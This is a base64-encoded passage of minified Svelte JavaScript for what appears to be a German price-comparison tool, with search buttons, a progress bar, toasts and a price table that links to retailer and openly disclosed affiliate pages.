iQkLmRpcnR5WzBdJiZuKDE2LHI9QXJyYXkuZnJvbShuZXcgU2V0KFtmLC4uLmkuZmlsdGVyKCh0PT50LnBvc2l0aW9uKSkubWFwKCh0PT50LnBvc2l0aW9uKSldLmZpbHRlcihCb29sZWFuKSkpKSwzMzU1NDQzMiZ0LiQkLmRpcnR5WzBdJiZuKDE1LG89bS5qb2luKCIrIikucmVwbGFjZSgvS2V5L2csIiIpLnJlcGxhY2UoL0RpZ2l0L2csIiIpKSwxMDI0JnQuJCQuZGlydHlbMF0mJmkubGVuZ3RoPD0xJiZuKDExLFA9ITEpLDEwMjQmdC4kJC5kaXJ0eVswXSl7Y29uc3QgdD1pLmZpbHRlcigodD0+dC5kaXNtaXNzJiYhdC5kZWxldGUpKTtpZih0Lmxlbmd0aD4wKXtjb25zdCBlPWkubWFwKChlPT50LmZpbmQoKHQ9PnQuaWQ9PT1lLmlkKSk/ey4uLmUsZGVsZXRlOiEwfTplKSk7dy5zZXQoZSl9fWlmKDE2Nzc3MjE2JnQuJCQuZGlydHlbMF0mJigic3lzdGVtIiE9PVcmJm4oMTMsRz1XKSwidW5kZWZpbmVkIiE9dHlwZW9mIHdpbmRvdykpeyJzeXN0ZW0iPT09VyYmKHdpbmRvdy5tYXRjaE1lZGlhJiZ3aW5kb3cubWF0Y2hNZWRpYSgiKHByZWZlcnMtY29sb3Itc2NoZW1lOiBkYXJrKSIpLm1hdGNoZXM/bigxMyxHPXhhKTpuKDEzLEc9U2EpKTtjb25zdCB0PXdpbmRvdy5tYXRjaE1lZGlhKCIocHJlZmVycy1jb2xvci1zY2hlbWU6IGRhcmspIiksZT0oe21hdGNoZXM6dH0pPT57bigxMyxHPXQ/eGE6U2EpfTsiYWRkRXZlbnRMaXN0ZW5lciJpbiB0P3QuYWRkRXZlbnRMaXN0ZW5lcigiY2hhbmdlIixlKTp0LmFkZExpc3RlbmVyKGUpfX0sZT1fKGUpLFtsLHAsayxnLHYseSxDLHgsYixmLGksUCxNLEcsQixvLHIsYyx3LE8sZnVuY3Rpb24odCl7cSYmIXQuY3VycmVudFRhcmdldC5jb250YWlucyh0LnJlbGF0ZWRUYXJnZXQpJiYocT0hMSxUJiYoVC5mb2N1cyh7cHJldmVudFNjcm9sbDohMH0pLFQ9bnVsbCkpfSxmdW5jdGlvbih0KXtxfHwocT0hMCxUPXQucmVsYXRlZFRhcmdldCl9LGUscyxXLG0sZCwodCxlLG4pPT4hbi5wb3NpdGlvbiYmMD09PXR8fG4ucG9zaXRpb249PT1lLGZ1bmN0aW9uKHQpe2Z0W3Q/InVuc2hpZnQiOiJwdXNoIl0oKCgpPT57Qj10LG4oMTQsQil9KSl9LCgpPT5uKDExLFA9ITApLCgpPT5uKDExLFA9ITApLCgpPT57TXx8bigxMSxQPSExKX0sKCk9Pm4oMTIsTT0hMCksKCk9Pm4oMTIsTT0hMSksdV19Y2xhc3MgT2EgZXh0ZW5kcyBEdHtjb25zdHJ1Y3Rvcih0KXtzdXBlcigpLEh0KHRoaXMsdCx3YSxrYSx2LHtpbnZlcnQ6MCx0aGVtZToyNCxwb3NpdGlvbjo5LGhvdGtleToyNSxyaWNoQ29sb3JzOjEsZXhwYW5kOjIsZHVyYXRpb246Myx2aXNpYmxlVG9hc3RzOjQsY2xvc2VCdXR0b246NSx0b2FzdE9wdGlvbnM6NixvZmZzZXQ6NyxkaXI6OH0sam8sWy0xLC0xXSl9fWZ1bmN0aW9uIFJhKHQpe1oodCwic3ZlbHRlLXd5Y2N2aiIsIi51bm8tbDI3MWFze3otaW5kZXg6MTA7Ym9yZGVyLXJhZGl1czowLjVyZW07LS11bi1iZy1vcGFjaXR5OjE7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDM0LDM0LDM0LHZhcigtLXVuLWJnLW9wYWNpdHkpKTtwYWRkaW5nOjFyZW07LS11bi10ZXh0LW9wYWNpdHk6MTtjb2xvcjpyZ2JhKDI1NSwyNTUsMjU1LHZhcigtLXVuLXRleHQtb3BhY2l0eSkpfS51bm8tbGI1bTFie3otaW5kZXg6MTA7YW5pbWF0aW9uOnN2ZWx0ZS13eWNjdmotcHVsc2UgMnMgY3ViaWMtYmV6aWVyKDAuNCwwLC42LDEpIGluZmluaXRlO2JvcmRlci1yYWRpdXM6MC41cmVtOy0tdW4tYmctb3BhY2l0eToxO2JhY2tncm91bmQtY29sb3I6cmdiYSgzNCwzNCwzNCx2YXIoLS11bi1iZy1vcGFjaXR5KSk7cGFkZGluZzoxcmVtOy0tdW4tdGV4dC1vcGFjaXR5OjE7Y29sb3I6cmdiYSgyNTUsMjU1LDI1NSx2YXIoLS11bi10ZXh0LW9wYWNpdHkpKX0udW5vLXVkY3RsZnt6LWluZGV4OjEwO2JvcmRlci1yYWRpdXM6MC41cmVtOy0tdW4tYmctb3BhY2l0eToxO2JhY2tncm91bmQtY29sb3I6cmdiYSgzNCwzNCwzNCx2YXIoLS11bi1iZy1vcGFjaXR5KSk7LS11bi1iZy1vcGFjaXR5OjAuNTtwYWRkaW5nOjFyZW07LS11bi10ZXh0LW9wYWNpdHk6MTtjb2xvcjpyZ2JhKDI1NSwyNTUsMjU1LHZhcigtLXVuLXRleHQtb3BhY2l0eSkpfUBrZXlmcmFtZXMgc3ZlbHRlLXd5Y2N2ai1wdWxzZXswJSwxMDAle29wYWNpdHk6MX01MCV7b3BhY2l0eTouNX19Iil9ZnVuY3Rpb24gUGEodCl7bGV0IGUsbixyO3JldHVybntjKCl7ZT1LKCJidXR0b24iKSxlLnRleHRDb250ZW50PSJTdWNoZSBzdGFydGVuISIsaihlLCJjbGFzcyIsInVuby1sYjVtMWIiKX0sbShvLGEpe0gobyxlLGEpLG58fChyPXooZSwiY2xpY2siLChmdW5jdGlvbigpe2codFswXSkmJnRbMF0uYXBwbHkodGhpcyxhcmd1bWVudHMpfSkpLG49ITApfSxwKGUsbil7dD1lfSxkKHQpe3QmJkQoZSksbj0hMSxyKCl9fX1mdW5jdGlvbiBfYSh0KXtsZXQgZSxuLHI7cmV0dXJue2MoKXtlPUsoImJ1dHRvbiIpLGUudGV4dENvbnRlbnQ9IlN1Y2hlIGVybmV1dCBzdGFydGVuISIsaihlLCJjbGFzcyIsInVuby1sYjVtMWIiKX0sbShvLGEpe0gobyxlLGEpLG58fChyPXooZSwiY2xpY2siLHRbM10pLG49ITApfSxwOlcsZCh0KXt0JiZEKGUpLG49ITEscigpfX19ZnVuY3Rpb24gTmEodCl7bGV0IGU7cmV0dXJue2MoKXtlPUsoImJ1dHRvbiIpLGUudGV4dENvbnRlbnQ9IkRhdGVuIHdlcmRlbiBob2NoZ2VsYWRlbi4uLiIsZS5kaXNhYmxlZD0hMCxqKGUsImNsYXNzIiwidW5vLXVkY3RsZiIpfSxtKHQsbil7SCh0LGUsbil9LHA6VyxkKHQpe3QmJkQoZSl9fX1mdW5jdGlvbiBNYSh0KXtsZXQgZTtyZXR1cm57Yygpe2U9SygiYnV0dG9uIiksZS50ZXh0Q29udGVudD0iRGF0ZW4gd2VyZGVuIGdlbGFkZW4uLi4iLGUuZGlzYWJsZWQ9ITAsaihlLCJjbGFzcyIsInVuby11ZGN0bGYiKX0sbSh0LG4pe0godCxlLG4pfSxwOlcsZCh0KXt0JiZEKGUpfX19ZnVuY3Rpb24gR2EodCl7bGV0IGUsbixyO3JldHVybntjKCl7ZT1LKCJidXR0b24iKSxlLnRleHRDb250ZW50PSJTdG9wISIsaihlLCJjbGFzcyIsInVuby1sMjcxYXMiKX0sbShvLGEpe0gobyxlLGEpLG58fChyPXooZSwiY2xpY2siLHRbNF0pLG49ITApfSxwOlcsZCh0KXt0JiZEKGUpLG49ITEscigpfX19ZnVuY3Rpb24gRWEodCl7bGV0IGU7ZnVuY3Rpb24gbih0LGUpe3JldHVybiB0WzJdLnN0YXR1cz09PUpyLlBST0NFU1NJTkc/R2E6dFsyXS5zdGF0dXM9PT1Kci5MT0FESU5HP01hOnRbMl0uc3RhdHVzPT09SnIuVVBMT0FESU5HP05hOnRbMl0uc3RhdHVzPT09SnIuVVBMT0FERUR8fHRbMl0uc3RhdHVzPT09SnIuQ0FOQ0VMTEVEP19hOnRbMl0uc3RhdHVzPT09SnIuUkVBRFk/UGE6dm9pZCAwfWxldCByPW4odCksbz1yJiZyKHQpO3JldHVybntjKCl7byYmby5jKCksZT1WKCl9LG0odCxuKXtvJiZvLm0odCxuKSxIKHQsZSxuKX0scCh0LFthXSl7cj09PShyPW4odCkpJiZvP28ucCh0LGEpOihvJiZvLmQoMSksbz1yJiZyKHQpLG8mJihvLmMoKSxvLm0oZS5wYXJlbnROb2RlLGUpKSl9LGk6VyxvOlcsZCh0KXt0JiZEKGUpLG8mJm8uZCh0KX19fWZ1bmN0aW9uIEJhKHQsZSxuKXtsZXQgcjtTKHQsVnIsKHQ9Pm4oMixyPXQpKSk7bGV0e2luaXQ6b309ZSx7c3RvcmVEYXRhSGFuZGxlcjphfT1lO3JldHVybiB0LiQkc2V0PXQ9PnsiaW5pdCJpbiB0JiZuKDAsbz10LmluaXQpLCJzdG9yZURhdGFIYW5kbGVyImluIHQmJm4oMSxhPXQuc3RvcmVEYXRhSGFuZGxlcil9LFtvLGEscixmdW5jdGlvbigpe1ZyLnVwZGF0ZSgodD0+KHsuLi50LHN0YXR1czpKci5SRUFEWX0pKSl9LCgpPT5hLmNhbmNlbFNlYXJjaCgpXX1jbGFzcyBUYSBleHRlbmRzIER0e2NvbnN0cnVjdG9yKHQpe3N1cGVyKCksSHQodGhpcyx0LEJhLEVhLHYse2luaXQ6MCxzdG9yZURhdGFIYW5kbGVyOjF9LFJhKX19ZnVuY3Rpb24gcWEodCl7Wih0LCJzdmVsdGUtMjlvZHU0IiwiLnVuby04a2ZidWl7cG9zaXRpb246cmVsYXRpdmU7aGVpZ2h0OjAuMjVyZW07d2lkdGg6MTAwJTstLXVuLWJnLW9wYWNpdHk6MTtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMjI5LDIyOSwyMjksdmFyKC0tdW4tYmctb3BhY2l0eSkpfS51bm8tYnRxcHpze2hlaWdodDowLjI1cmVtO2JvcmRlci1yYWRpdXM6MXJlbTstLXVuLWJnLW9wYWNpdHk6MTtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMjUxLDE0Niw2MCx2YXIoLS11bi1iZy1vcGFjaXR5KSl9LmRhcmsgLnVuby04a2ZidWl7LS11bi1iZy1vcGFjaXR5OjE7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDgyLDgyLDgyLHZhcigtLXVuLWJnLW9wYWNpdHkpKX0iKX1mdW5jdGlvbiBBYSh0KXtsZXQgZSxuO3JldHVybntjKCl7ZT1LKCJkaXYiKSxuPUsoImRpdiIpLGoobiwiY2xhc3MiLCJ1bm8tYnRxcHpzIiksZXQobiwid2lkdGgiLHRbMF0uY3VycmVudC90WzBdLnRvdGFsKjEwMCsiJSIpLGooZSwiY2xhc3MiLCJ1bm8tOGtmYnVpIil9LG0odCxyKXtIKHQsZSxyKSxBKGUsbil9LHAodCxbZV0pezEmZSYmZXQobiwid2lkdGgiLHRbMF0uY3VycmVudC90WzBdLnRvdGFsKjEwMCsiJSIpfSxpOlcsbzpXLGQodCl7dCYmRChlKX19fWZ1bmN0aW9uIFphKHQsZSxuKXtsZXQgcjtyZXR1cm4gUyh0LFZyLCh0PT5uKDAscj10KSkpLFtyXX1jbGFzcyBMYSBleHRlbmRzIER0e2NvbnN0cnVjdG9yKHQpe3N1cGVyKCksSHQodGhpcyx0LFphLEFhLHYse30scWEpfX1mdW5jdGlvbiBRYSh0KXtaKHQsInN2ZWx0ZS0xOGN4bWo5IiwiLnVuby15emIxZ2Z7ZGlzcGxheTpncmlkO2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2JvcmRlci1yYWRpdXM6MC41cmVtOy0tdW4tYmctb3BhY2l0eToxO2JhY2tncm91bmQtY29sb3I6cmdiYSgzNCwzNCwzNCx2YXIoLS11bi1iZy1vcGFjaXR5KSk7cGFkZGluZzoxcmVtO3RleHQtYWxpZ246Y2VudGVyOy0tdW4tdGV4dC1vcGFjaXR5OjE7Y29sb3I6cmdiYSgyNTUsMjU1LDI1NSx2YXIoLS11bi10ZXh0LW9wYWNpdHkpKX0udW5vLWNma3pwMHtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2dhcDowLjVyZW19LnVuby15aDQzc3p7Ym9yZGVyLXdpZHRoOjJweDstLXVuLWJvcmRlci1vcGFjaXR5OjE7Ym9yZGVyLWNvbG9yOnJnYmEoMjU1LDI1NSwyNTUsdmFyKC0tdW4tYm9yZGVyLW9wYWNpdHkpKTtib3JkZXItcmFkaXVzOjAuNXJlbTstLXVuLWJnLW9wYWNpdHk6MTtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMzQsMzQsMzQsdmFyKC0tdW4tYmctb3BhY2l0eSkpO3BhZGRpbmc6MXJlbTstLXVuLXRleHQtb3BhY2l0eToxO2NvbG9yOnJnYmEoMjU1LDI1NSwyNTUsdmFyKC0tdW4tdGV4dC1vcGFjaXR5KSk7LS11bi1zaGFkb3ctb3BhY2l0eToxOy0tdW4tc2hhZG93LWNvbG9yOnJnYmEoMzQsMzQsMzQsdmFyKC0tdW4tc2hhZG93LW9wYWNpdHkpKTstLXVuLXNoYWRvdzp2YXIoLS11bi1zaGFkb3ctaW5zZXQpIDAgMjVweCA1MHB4IC0xMnB4IHZhcigtLXVuLXNoYWRvdy1jb2xvciwgcmdiYSgwLDAsMCwwLjI1KSk7Ym94LXNoYWRvdzp2YXIoLS11bi1yaW5nLW9mZnNldC1zaGFkb3cpLCB2YXIoLS11bi1yaW5nLXNoYWRvdyksIHZhcigtLXVuLXNoYWRvdyl9LnVuby15Z3k0bWx7cGFkZGluZy1ib3R0b206MXJlbX0iKX1mdW5jdGlvbiBKYSh0KXtsZXQgZSxuLHIsbyxhLGksYyxzLGQsdSxsLFc7cmV0dXJue2MoKXtlPUsoImRpdiIpLG49SygiZGl2Iikscj1LKCJwIiksci50ZXh0Q29udGVudD0iU29iYWxkIGRpZSBTdWNoZSBhYmdlc2NobG9zc2VuIGlzdCwga2FubnN0IGR1IGRpZSBQcmVpc2UgaGllciBmaW5kZW46IixvPUkoKSxhPUsoImEiKSxpPSQoIkxpbmsgenVtIFByb2R1a3QiKSxkPUkoKSx1PUsoImRpdiIpLHUuaW5uZXJIVE1MPSc8cCBjbGFzcz0iIj5MaW5rcyBtaXQgKiBzaW5kIEFmZmlsaWF0ZSBMaW5rcyEgRGFua2Uh4p2k77iPPC9wPicsaihyLCJjbGFzcyIsInVuby15Z3k0bWwiKSxqKGEsImNsYXNzIiwidW5vLXloNDNzeiIpLGooYSwiaHJlZiIsYz0iaHR0cHM6Ly9kZWluLkV4cGVydC9wcm9kdWN0LyIrdFswXS5XZWJjb2RlKSxqKGEsInRhcmdldCIsIl9ibGFuayIpLGoobiwiY2xhc3MiLCJ1bm8teXpiMWdmIiksaih1LCJjbGFzcyIsInVuby15emIxZ2YiKSxqKGUsImNsYXNzIiwidW5vLWNma3pwMCIpfSxtKHQsYyl7SCh0LGUsYyksQShlLG4pLEEobixyKSxBKG4sbyksQShuLGEpLEEoYSxpKSxBKGUsZCksQShlLHUpLFc9ITB9LHAodCxbZV0peyghV3x8MSZlJiZjIT09KGM9Imh0dHBzOi8vZGVpbi5FeHBlcnQvcHJvZHVjdC8iK3RbMF0uV2ViY29kZSkpJiZqKGEsImhyZWYiLGMpfSxpKHQpe1d8fCh0JiZ2dCgoKCk9PntXJiYoc3x8KHM9RXQobixLdCx7ZHVyYXRpb246NTAwfSwhMCkpLHMucnVuKDEpKX0pKSx0JiZ2dCgoKCk9PntXJiYobHx8KGw9RXQodSxLdCx7ZHVyYXRpb246NTAwfSwhMCkpLGwucnVuKDEpKX0pKSxXPSEwKX0sbyh0KXt0JiYoc3x8KHM9RXQobixLdCx7ZHVyYXRpb246NTAwfSwhMSkpLHMucnVuKDApKSx0JiYobHx8KGw9RXQodSxLdCx7ZHVyYXRpb246NTAwfSwhMSkpLGwucnVuKDApKSxXPSExfSxkKHQpe3QmJkQoZSksdCYmcyYmcy5lbmQoKSx0JiZsJiZsLmVuZCgpfX19ZnVuY3Rpb24gSGEodCxlLG4pe2xldHtzdG9yZURhdGFIYW5kbGVyOnJ9PWU7cmV0dXJuIHQuJCRzZXQ9dD0+eyJzdG9yZURhdGFIYW5kbGVyImluIHQmJm4oMCxyPXQuc3RvcmVEYXRhSGFuZGxlcil9LFtyXX1jbGFzcyBEYSBleHRlbmRzIER0e2NvbnN0cnVjdG9yKHQpe3N1cGVyKCksSHQodGhpcyx0LEhhLEphLHYse3N0b3JlRGF0YUhhbmRsZXI6MH0sUWEpfX1mdW5jdGlvbiBLYSh0KXtaKHQsInN2ZWx0ZS0xZnpzZm9pIiwiLnVuby1wYjFwdjV7cG9zaXRpb246c3RpY2t5O3RvcDotMC4xcHh9LnVuby1iM3dyaDZ7ei1pbmRleDoxMDstLXVuLWJnLW9wYWNpdHk6MTtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMzQsMzQsMzQsdmFyKC0tdW4tYmctb3BhY2l0eSkpO3BhZGRpbmc6MXJlbTstLXVuLXRleHQtb3BhY2l0eToxO2NvbG9yOnJnYmEoMjU1LDI1NSwyNTUsdmFyKC0tdW4tdGV4dC1vcGFjaXR5KSl9LnVuby1xOTdpNjR7ZGlzcGxheTpncmlkO2dyaWQtdGVtcGxhdGUtY29sdW1uczpyZXBlYXQoMSxtaW5tYXgoMCwxZnIpKTtoZWlnaHQ6ODAlO292ZXJmbG93OmF1dG87Ym9yZGVyLXJhZGl1czowLjVyZW07LS11bi1zaGFkb3ctaW5zZXQ6aW5zZXR9LnVuby1hOWtqenB7c2Nyb2xsLWJlaGF2aW9yOmF1dG99LnVuby1nOW5hZGt7Ym9yZGVyLXJhZGl1czowLjVyZW07LS11bi1iZy1vcGFjaXR5OjE7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDM0LDM0LDM0LHZhcigtLXVuLWJnLW9wYWNpdHkpKTtwYWRkaW5nOjFyZW07LS11bi10ZXh0LW9wYWNpdHk6MTtjb2xvcjpyZ2JhKDI1NSwyNTUsMjU1LHZhcigtLXVuLXRleHQtb3BhY2l0eSkpOy0tdW4tc2hhZG93LW9wYWNpdHk6MTstLXVuLXNoYWRvdy1jb2xvcjpyZ2JhKDM0LDM0LDM0LHZhcigtLXVuLXNoYWRvdy1vcGFjaXR5KSk7LS11bi1zaGFkb3c6dmFyKC0tdW4tc2hhZG93LWluc2V0KSAwIDI1cHggNTBweCAtMTJweCB2YXIoLS11bi1zaGFkb3ctY29sb3IsIHJnYmEoMCwwLDAsMC4yNSkpO2JveC1zaGFkb3c6dmFyKC0tdW4tcmluZy1vZmZzZXQtc2hhZG93KSwgdmFyKC0tdW4tcmluZy1zaGFkb3cpLCB2YXIoLS11bi1zaGFkb3cpfS51bm8tbW0zN2Niey0tdW4tYmctb3BhY2l0eToxO2JhY2tncm91bmQtY29sb3I6cmdiYSgyNTEsMTQ2LDYwLHZhcigtLXVuLWJnLW9wYWNpdHkpKX0udW5vLXM1dGV4aHt0ZXh0LWFsaWduOmNlbnRlcn0jdGFibGUtY29udGFpbmVyLnN2ZWx0ZS0xZnpzZm9pey1tb3otYm94LXNoYWRvdzppbnNldCAwIC0xMHB4IDEwcHggLTEwcHggcmdiYSgxNywgMTcsIDE3LCAwLjMyMik7LXdlYmtpdC1ib3gtc2hhZG93Omluc2V0IDAgLTEwcHggMTBweCAtMTBweCByZ2JhKDE3LCAxNywgMTcsIDAuMzIyKTtib3gtc2hhZG93Omluc2V0IDAgLTEwcHggMjBweCAtMTBweCByZ2JhKDE3LCAxNywgMTcsIDAuMzIyKX0jdGFibGUtY29udGFpbmVyLnN2ZWx0ZS0xZnpzZm9pOjotd2Via2l0LXNjcm9sbGJhcntkaXNwbGF5Om5vbmV9dGFibGUuc3ZlbHRlLTFmenNmb2l7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO3dpZHRoOjEwMCV9dGQuc3ZlbHRlLTFmenNmb2l7cGFkZGluZzo4cHggMTJweDtib3JkZXI6MXB4IHNvbGlkICNkZGR9Iil9ZnVuY3Rpb24gRmEodCxlLG4pe2NvbnN0IHI9dC5zbGljZSgpO3JldHVybiByWzVdPWVbbl0scn1mdW5jdGlvbiAkYSh0KXtsZXQgZSxuLHI9W10sbz1uZXcgTWFwLGE9QnQodFs0XSk7Y29uc3QgaT10PT50WzVdLnN0b3JlLmlkO2ZvcihsZXQgYz0wO2M8YS5sZW5ndGg7Yys9MSl7bGV0IGU9RmEodCxhLGMpLG49aShlKTtvLnNldChuLHJbY109emEobixlKSl9cmV0dXJue2MoKXtmb3IobGV0IHQ9MDt0PHIubGVuZ3RoO3QrPTEpclt0XS5jKCk7ZT1WKCl9LG0odCxvKXtmb3IobGV0IGU9MDtlPHIubGVuZ3RoO2UrPTEpcltlXSYmcltlXS5tKHQsbyk7SCh0LGUsbyksbj0hMH0scCh0LG4pezIzJm4mJihhPUJ0KHRbNF0pLFB0KCkscj1xdChyLG4saSwxLHQsYSxvLGUucGFyZW50Tm9kZSxUdCx6YSxlLEZhKSxfdCgpKX0saSh0KXtpZighbil7Zm9yKGxldCB0PTA7dDxhLmxlbmd0aDt0Kz0xKU50KHJbdF0pO249ITB9fSxvKHQpe2ZvcihsZXQgZT0wO2U8ci5sZW5ndGg7ZSs9MSlNdChyW2VdKTtuPSExfSxkKHQpe3QmJkQoZSk7Zm9yKGxldCBlPTA7ZTxyLmxlbmd0aDtlKz0xKXJbZV0uZCh0KX19fWZ1bmN0aW9uIElhKHQpe2xldCBlLG4scixvLGEsaSxjLHMsZCx1PSh0WzJdKHRbNV0pLnRvRml4ZWQoMil8fCJOL0EiKSsiIjtyZXR1cm57Yygpe2U9SygidGQiKSxuPSQodSkscj0kKCLigqwiKSxvPUkoKSxhPUsoInRkIiksaT1LKCJidXR0b24iKSxjPUsoImEiKSxzPSQoIkxpbmsqIiksaihlLCJjbGFzcyIsInVuby1tbTM3Y2Igc3ZlbHRlLTFmenNmb2kiKSxqKGMsImhyZWYiLGQ9dFsxXSh0WzBdLmdldEF3aW5MaW5rLHRbNV0uc3RvcmUuaWQpKSxqKGMsInRhcmdldCIsIl9ibGFuayIpLGooaSwiY2xhc3MiLCJ1bm8tZzluYWRrIiksaihhLCJjbGFzcyIsInVuby1tbTM3Y2Igc3ZlbHRlLTFmenNmb2kiKX0sbSh0LGQpe0godCxlLGQpLEEoZSxuKSxBKGUsciksSCh0LG8sZCksSCh0LGEsZCksQShhLGkpLEEoaSxjKSxBKGMscyl9LHAodCxlKXsyMCZlJiZ1IT09KHU9KHRbMl0odFs1XSkudG9GaXhlZCgyKXx8Ik4vQSIpKyIiKSYmWShuLHUpLDE5JmUmJmQhPT0oZD10WzFdKHRbMF0uZ2V0QXdpbkxpbmssdFs1XS5zdG9yZS5pZCkpJiZqKGMsImhyZWYiLGQpfSxkKHQpe3QmJihEKGUpLEQobyksRChhKSl9fX1mdW5jdGlvbiBWYSh0KXtsZXQgZSxuLHIsbyxhLGksYyxzLGQsdT0odFsyXSh0WzVdKS50b0ZpeGVkKDIpfHwiTi9BIikrIiI7cmV0dXJue2MoKXtlPUsoInRkIiksbj0kKHUpLHI9JCgi4oKsIiksbz1JKCksYT1LKCJ0ZCIpLGk9SygiYnV0dG9uIiksYz1LKCJhIikscz0kKCJMaW5rKiIpLGooZSwiY2xhc3MiLCJzdmVsdGUtMWZ6c2ZvaSIpLGooYywiaHJlZiIsZD10WzFdKHRbMF0uZ2V0QXdpbkxpbmssdFs1XS5zdG9yZS5pZCkpLGooYywidGFyZ2V0IiwiX2JsYW5rIiksaihpLCJjbGFzcyIsInVuby1nOW5hZGsiKSxqKGEsImNsYXNzIiwic3ZlbHRlLTFmenNmb2kiKX0sbSh0LGQpe0godCxlLGQpLEEoZSxuKSxBKGUsciksSCh0LG8sZCksSCh0LGEsZCksQShhLGkpLEEoaSxjKSxBKGMscyl9LHAodCxlKXsyMCZlJiZ1IT09KHU9KHRbMl0odFs1XSkudG9GaXhlZCgyKXx8Ik4vQSIpKyIiKSYmWShuLHUpLDE5JmUmJmQhPT0oZD10WzFdKHRbMF0uZ2V0QXdpbkxpbmssdFs1XS5zdG9yZS5pZCkpJiZqKGMsImhyZWYiLGQpfSxkKHQpe3QmJihEKGUpLEQobyksRChhKSl9fX1mdW5jdGlvbiB6YSh0LGUpe2xldCBuLHIsbyxhO2Z1bmN0aW9uIGkodCxlKXtyZXR1cm4gdFs1XS5pdGVtT25EaXNwbGF5P0lhOlZhfWxldCBjPWkoZSkscz1jKGUpO3JldHVybntrZXk6dCxmaXJzdDpudWxsLGMoKXtuPUsoInRyIikscy5jKCkscj1JKCksaihuLCJjbGFzcyIsInVuby1zNXRleGgiKSx0aGlzLmZpcnN0PW59LG0odCxlKXtIKHQsbixlKSxzLm0obixudWxsKSxBKG4sciksYT0hMH0scCh0LG8pe2M9PT0oYz1pKGU9dCkpJiZzP3MucChlLG8pOihzLmQoMSkscz1jKGUpLHMmJihzLmMoKSxzLm0obixyKSkpfSxpKHQpe2F8fCh0JiZ2dCgoKCk9PnthJiYob3x8KG89RXQobixLdCx7ZHVyYXRpb246MjAwfSwhMCkpLG8ucnVuKDEpKX0pKSxhPSEwKX0sbyh0KXt0JiYob3x8KG89RXQobixLdCx7ZHVyYXRpb246MjAwfSwhMSkpLG8ucnVuKDApKSxhPSExfSxkKHQpe3QmJkQobikscy5kKCksdCYmbyYmby5lbmQoKX19fWZ1bmN0aW9uIGphKHQpe2xldCBlLG4scixvLGEsaSxjLHM9dFszXS5zdGF0dXMhPT1Kci5SRVNUQVJURUQmJiRhKHQpO3JldHVybntjKCl7ZT1LKCJkaXYiKSxuPUsoInRhYmxlIikscj1LKCJ0aGVhZCIpLHIuaW5uZXJIVE1MPSc8dHI+PHRoIGNsYXNzPSJ1bm8tYjN3cmg2Ij5QcmVpcyBpbmtsLiBWc2s8L3RoPiA8dGggY2xhc3M9InVuby1iM3dyaDYiPk1hcmt0PC90aD48L3RyPicsbz1JKCksYT1LKCJ0Ym9keSIpLHMmJnMuYygpLGoociwiY2xhc3MiLCJ1bm8tcGIxcHY1IiksaihhLCJjbGFzcyIsInVuby1hOWtqenAiKSxqKG4sImNsYXNzIiwiIHN2ZWx0ZS0xZnpzZm9pIiksaihlLCJjbGFzcyIsInVuby1xOTdpNjQgc3ZlbHRlLTFmenNmb2kiKSxqKGUsImlkIiwidGFibGUtY29udGFpbmVyIil9LG0odCxpKXtIKHQsZSxpKSxBKGUsbiksQShuLHIpLEEobixvKSxBKG4sYSkscyYmcy5tKGEsbnVsbCksYz0hMH0scCh0LFtlXSl7dFszXS5zdGF0dXMhPT1Kci5SRVNUQVJURUQ/cz8ocy5wKHQsZSksOCZlJiZOdChzLDEpKToocz0kYSh0KSxzLmMoKSxOdChzLDEpLHMubShhLG51bGwpKTpzJiYoUHQoKSxNdChzLDEsMSwoKCk9PntzPW51bGx9KSksX3QoKSl9LGkodCl7Y3x8KE50KHMpLHQmJnZ0KCgoKT0+e2MmJihpfHwoaT1FdChlLEt0LHtkdXJhdGlvbjo1MDB9LCEwKSksaS5ydW4oMSkpfSkpLGM9ITApfSxvKHQpe010KHMpLHQmJihpfHwoaT1FdChlLEt0LHtkdXJhdGlvbjo1MDB9LCExKSksaS5ydW4oMCkpLGM9ITF9LGQodCl7dCYmRChlKSxzJiZzLmQoKSx0JiZpJiZpLmVuZCgpfX19ZnVuY3Rpb24gVWEodCxlLG4pe2xldCByLG87Uyh0LFZyLCh0PT5uKDMscj10KSkpLFModCxEciwodD0+big0LG89dCkpKTtsZXR7c3RvcmVEYXRhSGFuZGxlcjphfT1lLHtjcmVhdGVBZmZpbGlhdGU6aX09ZSx7Y2FsY3VsYXRlUHJpY2VJbmNsU2hpcHBpbmc6Y309ZTtyZXR1cm4gdC4kJHNldD10PT57InN0b3JlRGF0YUhhbmRsZXIiaW4gdCYmbigwLGE9dC5zdG9yZURhdGFIYW5kbGVyKSwiY3JlYXRlQWZmaWxpYXRlImluIHQmJm4oMSxpPXQuY3JlYXRlQWZmaWxpYXRlKSwiY2FsY3VsYXRlUHJpY2VJbmNsU2hpcHBpbmciaW4gdCYmbigyLGM9dC5jYWxjdWxhdGVQcmljZUluY2xTaGlwcGluZyl9LFthLGksYyxyLG9dfWNsYXNzIFhhIGV4dGVuZHMgRHR7Y29uc3RydWN0b3IodCl7c3VwZXIoKSxIdCh0aGlzLHQsVWEsamEsdix7c3RvcmVEYXRhSGFuZGxlcjowLGNyZWF0ZUFmZmlsaWF0ZToxLGNhbGN1bGF0ZVByaWNlSW5jbFNoaXBwaW5nOjJ9LEthKX19ZnVuY3Rpb24gWWEodCl7Wih0LCJzdmVsdGUta3phcjlrIiwiLnVuby0xcW54cjR7ZGlzcGxheTpncmlkO2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2dhcDoxcmVtO2JvcmRlci1yYWRpdXM6MC41cmVtOy0tdW4tYmctb3BhY2l0eToxO2JhY2tncm91bmQtY29sb3I6cmdiYSgyNDgsMTEzLDExMyx2YXIoLS11bi1iZy1vcGFjaXR5KSk7cGFkZGluZzoxcmVtO3RleHQtYWxpZ246Y2VudGVyfS51bm8tNmN2NXl5e3dpZHRoOjEwMCU7Ym9yZGVyLXJhZGl1czowLjVyZW07cGFkZGluZzoxcmVtOy0tdW4tc2hhZG93LW9wYWNpdHk6MTstLXVuLXNoYWRvdy1jb2x